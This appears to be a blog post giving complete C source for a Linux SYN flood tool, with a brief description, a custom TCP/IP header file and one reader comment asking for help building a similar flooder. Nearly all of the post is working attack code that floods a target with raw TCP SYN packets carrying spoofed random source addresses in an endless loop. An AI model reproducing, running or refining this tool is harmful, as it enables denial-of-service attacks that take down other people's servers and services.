SYN Flooder

C source code for Linux for sending multiple SYN flagged tcp/ip packets with spoofed source addresses to spawn half-open fake connections with tcp hosts. A form of DoS attack using ipv4 addressing that may still work against hosts without syn cookies enabled. Using raw tcp ipv4 sockets, it sends packets in the form of an IP header and an appended TCP header with no initial data. Checksum for IP header is calculated for the IP header only, while checksum for TCP header is calculated for the TCP pseudo-header concatenated with the actual TCP header and data.
synflood.c

#include "tcpip.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <signal.h>
#include <errno.h>

ushort csum(short* data, int len);
char* randip(char* dst);
ushort rand16();
uint rand32();

int sd;
	
void help() { printf("SYN flooder - by Jakash3\nArguments: IPV4_ADDR PORT\n"); exit(1); }
void quit(int sig) { close(sd); exit(0); }

int main(int argc, char** argv) {
	if (argc!=3) help();

	/* Map CTRL-C to quit() */
	struct sigaction sa;
	sa.sa_handler = &quit;
	sa.sa_flags = 0;
	sigemptyset(&sa.sa_mask);
	sigaction(SIGINT, &sa, 0);

	char rip[16];
	char packet[4096];
	struct iphdr ip;
	struct tcpph tph;
	struct tcphdr tcp;
	struct sockaddr_in sin;
	const int on = 1;

	memset(&packet, 0, 40);
	ip.ihl = 5;
	ip.ipv = 4;
	ip.tos = 0;
	ip.len = IPHDR_LEN + TCPHDR_LEN;
	ip.id = htons(rand16());
	ip.ttl = 64;
	ip.proto = IPPROTO_TCP;
	ip.src = (uint)inet_addr(randip(rip));
	ip.dst = (uint)inet_addr(argv[1]);
	ip.chksum = 0;
	ip.chksum = csum((short*)&ip, IPHDR_LEN);
	tcp.sport = htons((short)atoi(argv[2]));
	tcp.dport = htons((short)atoi(argv[2]));
	tcp.seq = htonl(rand32());
	tcp.offset = sizeof(struct tcphdr) / 4;
	tcp.flgs = TCP_SYN;
	tcp.chksum = 0;
	tph.src = ip.src;
	tph.dst = ip.dst;
	tph.zero = 0;
	tph.proto = IPPROTO_TCP;
	tph.tcp_len = sizeof(struct tcphdr);
	memmove(packet, &tph, TCPPH_LEN);
	memmove(packet + TCPPH_LEN, &tcp, TCPHDR_LEN);
	tcp.chksum = csum((short*)packet, TCPPH_LEN + TCPHDR_LEN);
	memmove(packet, &ip, IPHDR_LEN);
	memmove(packet + IPHDR_LEN, &tcp, TCPHDR_LEN);

	sd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if (sd == -1) {
		printf("Failed to create socket. Error code: %d\n", errno);
		exit(1);
	}
	if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
		printf("Failed to set socket options. Error code: %d\n", errno);
		exit(1);
	}
	sin.sin_family = AF_INET;
	sin.sin_port = htons(tcp.dport);
	memmove(&(sin.sin_addr), &(ip.dst), sizeof(struct in_addr));
	while (1) {
		if (sendto(sd, packet, ip.len, 0, (struct sockaddr*)&sin, sizeof(struct sockaddr)) == -1) {
			printf("Failed to send SYN packet(s). Error code: %d\n", errno);
			exit(1);
		} else {
			printf("Sent SYN packet with spoofed ip: %s\n", rip);
		}
		ip.id = htons(rand16());
		ip.src = (uint)inet_addr(randip(rip));
		ip.chksum = 0;
		ip.chksum = csum((short*)&ip, IPHDR_LEN);
		tph.src = ip.src;
		tcp.seq = htonl(rand32());
		tcp.chksum = 0;
		memmove(packet, &tph, TCPPH_LEN);
		memmove(packet + TCPPH_LEN, &tcp, TCPHDR_LEN);
		tcp.chksum = csum((short*)packet, TCPPH_LEN + TCPHDR_LEN);
		memmove(packet, &ip, IPHDR_LEN);
		memmove(packet + IPHDR_LEN, &tcp, TCPHDR_LEN);
	}
}

ushort csum(short* data, int len) {
	int sum = 0;
	for (; len > 1; len -= 2) sum += *data++;
	if (len == 1) sum += *(uchar*)data;
	while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
	return ~sum;
}

/* The best I can do for generating a random ipv4 address */
char* randip(char* dst) {
	dst[0] = 0;
	int i, j, k;
	srandom(time(0));
	srand(random());
	srandom(rand());
	j = rand() + random();
	for (i = 0, k = 0; k < 4; i += strlen(dst + i), k++, j += ((rand() + (int)dst) % i) ^ time(0)) { 
		srand((int)dst + i + k);
		srand(j + dst[i+k] + (int)&i + rand());
		j = rand() % 255;
		sprintf(dst + i, "%d.", j);
	}
	dst[i-1] = 0;
	return dst;
}

ushort rand16() {
	srandom(time(0));
	srand(random());
	srandom(rand());
	return (random() + rand() + time(0)) % 65535;
}

uint rand32() {
	srandom(time(0));
	srand(random());
	srandom(rand());
	return (random() + rand() & time(0));
}

tcpip.h

#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>

typedef unsigned char uchar;
typedef unsigned short ushort;
typedef unsigned int uint;

/* Internet Datagram Header */
#define IPHDR_LEN 20
struct iphdr {
	uchar ipv:4;     /* Internet Protocol Version */
	uchar ihl:4;     /* Total length (in DWORDs) */
	uchar tos;       /* Type of Service */
	ushort len;      /* Total length */
	ushort id;       /* Identification number */
	ushort frag;     /* Fragment offset and flags */
	uchar ttl;       /* Time to live */
	uchar proto;     /* Protocol type */
	ushort chksum;   /* Checksum */
	uint src;        /* Source IP Address */
	uint dst;        /* Destination IP Address */
};

/* TCP Header */	
#define TCPHDR_LEN 20
struct tcphdr {
	ushort sport;      /* Source Port */
	ushort dport;      /* Destination Port */
	uint seq;          /* Sequence number */
	uint ack;          /* Acknowledgement number */
	uchar reserved:4;
	uchar offset:4;    /* Size of TCP Header in DWORDs */
	uchar flgs;        /* TCP Flags */
#define TCP_FIN 0x01
#define TCP_SYN 0x02
#define TCP_RST 0x04
#define TCP_PSH 0x08
#define TCP_ACK 0x10
#define TCP_URG 0x20
	ushort win;        /* Window. Size of data to accept */
	ushort chksum;     /* Checksum */
	ushort urgp;       /* idk */
};

/* TCP Psuedo-header */
#define TCPPH_LEN 12
struct tcpph {
	uint src;
	uint dst;
	uchar zero;
	uchar proto;
	ushort tcp_len;
};

One thought on “SYN Flooder

  1. I can not compile the 1st program “synflood.c” . I do not use this program to hack s.o , just use for the case of study “Network security”, so can you give to me the full source code? I made my own program but i don’t know why it just only can send the SYN Flood to the victim but now receive any SYN/ACK from the server, maybe it lack of some header in tcp/ip packet, can you help to check?
    => link download my source code: http://www.fshare.vn/file/DLFPB6HA5G/

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: